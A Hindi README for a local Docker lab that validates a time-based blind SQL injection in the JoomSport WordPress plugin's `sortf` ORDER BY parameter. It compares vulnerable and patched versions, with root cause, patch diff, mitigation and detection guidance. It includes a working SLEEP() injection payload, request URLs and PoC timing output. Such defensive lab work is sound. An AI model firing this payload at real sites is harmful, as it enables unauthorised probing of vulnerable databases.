यह लैब भेद्यता को समय-आधारित ब्लाइंड SQL इंजेक्शन के रूप में मान्य करता है। यह डेटाबेस डंपिंग, क्रेडेंशियल निष्कर्षण, डेटा संशोधन, या विनाशकारी SQL संचालन नहीं करता है।

यह लैब केवल नियंत्रित स्थानीय अनुसंधान, स्रोत-स्तरीय समझ, और पोर्टफोलियो प्रदर्शन के लिए डिज़ाइन किया गया है।

## Verified Facts

| दावा                                                                           | साक्ष्य                                                                                                                     | इस लैब में कैसे सत्यापित करें                                                  |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport 5.7.8 से पहले के संस्करण में बिना प्रमाणीकरण के SQL इंजेक्शन की सूचना दी गई है। | सार्वजनिक सलाहकारियाँ JoomSport `< 5.7.8` / `<= 5.7.7` को प्रभावित बताती हैं।                                                     | संदर्भ अनुभाग की समीक्षा करें और कमजोर/पैच की गई सेवाओं की तुलना करें। |
| JoomSport 5.7.8 स्थिर संस्करण है।                                           | सार्वजनिक सलाहकारियाँ और स्रोत तुलना दर्शाती हैं कि 5.7.8 ऑर्डरिंग एक्सप्रेशन बनाने से पहले `sortf` मान को मान्य करता है। | दोनों संस्करणों में `class-jsport-playerlist.php` का निरीक्षण करें।                    |
| प्रभावित पैरामीटर `sortf` है।                                              | कमजोर प्लेयर सूची कोड `classJsportRequest::get('sortf')` पढ़ता है।                                                    | PoC चलाएँ और इंजेक्ट किए गए `sortf` अनुरोध का निरीक्षण करें।                      |
| कमजोर कोड उपयोगकर्ता इनपुट से एक गतिशील SQL ऑर्डरिंग मान बनाता है।        | कमजोर संस्करण में, `sortf` का उपयोग `$options['ordering']` बनाने के लिए किया जाता है।                                                  | `sportleague/classes/objects/class-jsport-playerlist.php` का निरीक्षण करें।         |
| SQL सिंक एक `ORDER BY` क्लॉज़ है।                                           | उत्पन्न `$ordering` मान बाद में `ORDER BY` के साथ SQL क्वेरी में जोड़ा जाता है।                                         | `sportleague/base/wordpress/classes/class-jsport-getplayers.php` का निरीक्षण करें।  |
| पैच अनुमति-सूची-शैली सुधार का उपयोग करता है।                                          | पैच किए गए संस्करण में सॉर्ट फ़ील्ड का उपयोग करने से पहले अनुमत स्थिर कॉलम और अपेक्षित गतिशील फ़ील्ड पैटर्न शामिल किए गए हैं।       | JoomSport 5.7.6 और 5.7.8 स्रोत की तुलना करें।                                  |
| लैब समय-आधारित ब्लाइंड SQL इंजेक्शन प्रदर्शित करता है।                            | जब इंजेक्ट किया गया `SLEEP()` एक्सप्रेशन उपयोग किया जाता है तो कमजोर लक्ष्य विलंब करता है; पैच किया गया लक्ष्य ऐसा नहीं करता।                     | `python3 poc/poc.py http://localhost:8081 http://localhost:8082` चलाएँ।      |

## Assumptions and Unknowns

यह लैब JoomSport 5.7.6 का उपयोग कमजोर तुलना लक्ष्य के रूप में करता है क्योंकि सार्वजनिक स्थिर संस्करण 5.7.8 है और लैब तैयार करते समय WordPress.org प्लगइन SVN टैग सूची में 5.7.7 स्रोत टैग उपलब्ध नहीं था।

लैब यह दावा नहीं करता है कि 5.7.6 ही एकमात्र कमजोर संस्करण है। इसका उपयोग पैच किए गए 5.7.8 व्यवहार के मुकाबले कमजोर व्यवहार की तुलना करने के लिए एक पुनरुत्पादनीय कमजोर आधार रेखा के रूप में किया जाता है।

लैब प्लेयर सूची सॉर्टिंग प्रवाह में `sortf` पैरामीटर पर केंद्रित है।

प्रदर्शित प्रभाव समय-आधारित ब्लाइंड SQL इंजेक्शन है। लैब निम्नलिखित प्रदर्शित नहीं करता है:

* प्रत्यक्ष डेटाबेस डंपिंग,
* क्रेडेंशियल निष्कर्षण,
* प्रमाणीकरण बाईपास,
* विशेषाधिकार वृद्धि,
* मनमाना डेटा संशोधन,
* दूरस्थ कोड निष्पादन,
* स्थायित्व,
* बाहरी कॉलबैक,
* या गैर-लैब प्रणालियों के विरुद्ध हमले।

त्रुटि-आधारित या बूलियन-आधारित व्यवहार डेटाबेस व्यवहार, एप्लिकेशन कॉन्फ़िगरेशन और प्रतिक्रिया अंतर के आधार पर संभव हो सकता है, लेकिन यह लैब उन तकनीकों पर निर्भर नहीं करता है। प्राथमिक प्रमाण समय-आधारित है।

## Root Cause Summary

मूल कारण `sortf` अनुरोध पैरामीटर से एक गतिशील SQL `ORDER BY` क्लॉज़ का असुरक्षित निर्माण है।

कमजोर कोड पथ यहाँ से शुरू होता है:```text
sportleague/classes/objects/class-jsport-playerlist.php

और इसका उपयोग निर्माण करने के लिए करता है:```text
$options['ordering']

समस्या मुख्य रूप से `sortd` पैरामीटर की नहीं है। `sortd` मान इन तक सीमित है:```text
ASC
DESC

कोड हमलावर-नियंत्रित इनपुट को MySQL पहचानकर्ता संदर्भ में रखता है और फिर इसे SQL क्रमबद्धन खंड के रूप में आगे भेजता है।

कोड लागू करता है:```php
sanitize_text_field()

सिंक पैटर्न है:```php
$query .= ' ORDER BY '.($ordering);

सुरक्षा समस्या यह है कि एप्लिकेशन उपयोगकर्ता-नियंत्रित अनुरोध पैरामीटर को एक SQL identifier/expression के रूप में मानता है, बिना पहले इसे एक सख्त allowlist के विरुद्ध मान्य किए।

## स्रोत पैच सारांश

प्रासंगिक पैच इसमें है:```text
sportleague/classes/objects/class-jsport-playerlist.php

`classJsportRequest::get('sortf')` का उपयोग SQL ऑर्डरिंग एक्सप्रेशन के अंदर किया जाता है, यही कमजोर हिस्सा है।

JoomSport 5.7.8 इस व्यवहार को बदलता है, `$options['ordering']` बनाने से पहले एक मान्य (validated) सॉर्ट-फील्ड वेरिएबल शुरू करके।

पैच किया गया संस्करण एक सुरक्षित डिफ़ॉल्ट आरंभ करता है:```php
$sortFieldEsc = 'post_title';

जब `sortf` मौजूद है, तो पैच किया गया कोड इसे केवल तभी स्वीकार करता है जब यह अपेक्षित स्थिर मानों में से एक से मेल खाता है:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

अंतिम सुरक्षा-संबंधित परिवर्तन यह है कि `$options['ordering']` को कच्चे `sortf` अनुरोध मान के बजाय `$sortFieldEsc` से बनाया गया है:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

पैच के बाद:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

पैच किया गया कोड उस मान को `$sortFieldEsc` को असाइन नहीं करता। इसके बजाय, सॉर्ट फ़ील्ड इसमें वापस आ जाता है:```text
post_title

## प्रयोगशाला वास्तुकला

यह लैब Docker Compose के माध्यम से दो अलग-अलग WordPress इंस्टॉलेशन चलाती है।```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

सेटअप प्रक्रिया खिलाड़ी सूची रूट को प्रस्तुत करने के लिए आवश्यक न्यूनतम JoomSport डेटा बनाती है:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

## त्वरित आरंभ

लैब प्रारंभ करें:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

सेटअप पूर्णता संदेश अपेक्षित:```text
[VULN] setup complete
[PATCHED] setup complete

अपेक्षित उजागर सेवाएं:```text
http://localhost:8081
http://localhost:8082

पैच किए गए लक्ष्य के विरुद्ध PoC चलाएँ:```bash
python3 poc/poc.py http://localhost:8082

अधिक स्थिर समय आँकड़ों के लिए, राउंड की संख्या बढ़ाएँ:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

## PoC उपयोग

PoC प्रत्येक लक्ष्य की स्वतंत्र रूप से जाँच करता है।

अब इसे अलग `--vuln-url` या `--patched-url` विकल्पों की आवश्यकता नहीं है। इसके बजाय, एक या अधिक लक्ष्य URL को स्थितीय तर्क के रूप में पास करें:```bash
python3 poc/poc.py <target_url> [target_url...]

यदि कोई लक्ष्य URL प्रदान नहीं किया जाता है, तो स्क्रिप्ट एक या अधिक स्थानीय लक्ष्य URL के लिए इंटरैक्टिव रूप से संकेत देती है।

समर्थित विकल्प:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

PoC डिफ़ॉल्ट रूप से गैर-स्थानीय लक्ष्यों को अस्वीकार करता है।

## PoC कैसे निर्णय लेता है

प्रत्येक लक्ष्य के लिए, PoC दो समय श्रृंखलाएं निष्पादित करता है:```text
[1/2] Baseline timing
[2/2] Injected timing

इंजेक्टेड अनुरोध `sortf` पैरामीटर में केवल-स्थानीय टाइमिंग पेलोड का उपयोग करता है:```text
sortf=post_title`DESC,(SLEEP(2))#

फिर यह लक्ष्य को वर्गीकृत करता है:

| निर्णय           | अर्थ                                                     |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | इंजेक्ट किया गया रिक्वेस्ट बेसलाइन की तुलना में काफी धीमा है। |
| `PATCHED-LIKE`    | इंजेक्ट किया गया रिक्वेस्ट बेसलाइन के करीब रहता है।                   |
| `UNREACHABLE`     | लक्ष्य तक पहुंचा नहीं जा सका।                            |
| `INCONCLUSIVE`    | कुछ समय डेटा गायब या अधूरा था।                 |

डिफ़ॉल्ट निर्णय नियम:```text
injected median - baseline median >= 60% of requested SLEEP()

इसका मतलब है कि किसी लक्ष्य को केवल `VULNERABLE-LIKE` के रूप में रिपोर्ट किया जाता है जब इंजेक्टेड अनुरोध अपने स्वयं के बेसलाइन से स्पष्ट रूप से धीमा होता है।

अप्राप्य या अनिर्णायक लक्ष्यों को पैच के रूप में नहीं गिना जाता है।

## curl के साथ मैन्युअल HTTP प्रतिकृति

आप बिना Python PoC का उपयोग किए मैन्युअल रूप से वैलिडेशन की प्रतिकृति बना सकते हैं।

असुरक्षित बेसलाइन अनुरोध:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

पैच किया गया आधार रेखा अनुरोध:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

अपेक्षित तुलना:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

अपेक्षित संवेदनशील संकेत:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

### पैच किया गया लक्ष्य

कमांड:```bash
python3 poc/poc.py http://localhost:8082

### एकाधिक लक्ष्य

कमांड:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

### अप्राप्य लक्ष्य

यदि कोई लक्ष्य चल नहीं रहा है, तो PoC को `UNREACHABLE` रिपोर्ट करना चाहिए, न कि `PATCHED-LIKE`।

उदाहरण:```bash
python3 poc/poc.py http://localhost:8083

अगम्य लक्ष्यों को पैच के रूप में नहीं गिना जाता है।

## PoC कैसे काम करता है

PoC एक सीडेड सीज़न पोस्ट के लिए JoomSport खिलाड़ी सूची रूट की जांच करता है।

लक्ष्य रूट इसके समतुल्य है:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

यह सामान्य खिलाड़ी सूची छँटाई उत्पन्न करना चाहिए।

इंजेक्टेड अनुरोध का उपयोग करता है:```text
sortf=post_title`DESC,(SLEEP(2))#

`#` टिप्पणी मार्कर पीछे के बैकटिक और दिशा को इंजेक्ट किए गए एक्सप्रेशन में हस्तक्षेप करने से रोकता है। यह एक स्टैक्ड क्वेरी पेलोड नहीं है। यह इंजेक्ट नहीं करता:```sql
; SELECT SLEEP(2);

संदिग्ध `sortf` विशेषताएँ:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings

अपेक्षित कमजोर संकेत:```text
HTTP 200 response with significant timing delay

संभावित उत्पादन निगरानी विचार:

* असामान्य `sortf` मानों के लिए वेब एक्सेस लॉग की समीक्षा करें।
* सॉर्टिंग पैरामीटर के अंदर SQL कीवर्ड या टिप्पणी मार्करों पर अलर्ट करें।
* छोटे पैरामीटर परिवर्तनों के साथ JoomSport प्लेयर सूची रूट्स के लिए बार-बार आने वाले अनुरोधों की निगरानी करें।
* JoomSport प्लेयर सूची तालिकाओं से संबंधित धीमी डेटाबेस क्वेरीज़ की निगरानी करें।
* धीमे अनुरोधों को सार्वजनिक अप्रमाणित ट्रैफ़िक के साथ सहसंबंधित करें।
* जाँच करें कि क्या JoomSport स्थापित है और क्या इसका संस्करण 5.7.8 से पुराना है।

## शमन और पैच नोट्स

JoomSport को 5.7.8 या बाद के संस्करण में अपग्रेड करें।

फिक्स्ड संस्करण `sortf` पैरामीटर को अपेक्षित सॉर्ट फ़ील्ड और डायनेमिक फ़ील्ड पैटर्न तक सीमित करता है। अप्रत्याशित मान सुरक्षित डिफ़ॉल्ट सॉर्ट फ़ील्ड पर वापस आ जाते हैं।

एप्लिकेशन-स्तरीय शमन मार्गदर्शन:

* JoomSport प्लगइन को अपग्रेड करें।
* सार्वजनिक WordPress साइटों पर पुराने प्लगइन संस्करणों को उजागर न करें।
* संदिग्ध `sortf` पैरामीटर के लिए वेब लॉग की समीक्षा करें।
* यदि तत्काल अपग्रेड संभव नहीं है तो केवल अस्थायी शमन के रूप में प्रभावित कार्यक्षमता को अक्षम या प्रतिबंधित करें।
* पैचिंग के प्रतिस्थापन के रूप में नहीं, बल्कि अस्थायी परत के रूप में Web Application Firewall नियम का उपयोग करें।
* डायनेमिक SQL पहचानकर्ताओं को सामान्य मानों से अलग व्यवहार करें: कॉलम नाम, तालिका नाम, सॉर्ट दिशाओं और समान SQL सिंटैक्स घटकों के लिए अनुमति सूची का उपयोग करें।

सबसे महत्वपूर्ण नियंत्रण अनुमति सूची है। अकेले एस्केपिंग डायनेमिक SQL पहचानकर्ताओं के लिए पूर्ण समाधान नहीं है।

## उपयोगी सत्यापन कमांड

चल रहे कंटेनरों की जाँच करें:```bash
docker compose ps

वर्डप्रेस सेवाओं की जाँच करें:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

पैच किए गए सर्विस के विरुद्ध PoC चलाएँ:```bash
python3 poc/poc.py http://localhost:8082

अधिक राउंड के साथ PoC चलाएँ:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

वर्डप्रेस के अंदर प्लगइन संस्करणों की जाँच करें:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

पैच किए गए स्रोत का निरीक्षण करें:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

## सफाई

कंटेनर और नेटवर्क को रोकें और हटाएं:```bash
docker compose down --remove-orphans

यदि साक्ष्य फ़ाइलें बनाई गई हों तो उन्हें हटाएँ:```bash
rm -rf evidence/

PoC में डेटाबेस dumping, credential theft, data modification, persistence, lateral movement, या external callbacks के लिए payloads शामिल नहीं हैं।

लक्ष्य एक नियंत्रित वातावरण में एक विशिष्ट तकनीकी स्थिति का प्रदर्शन करना है:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version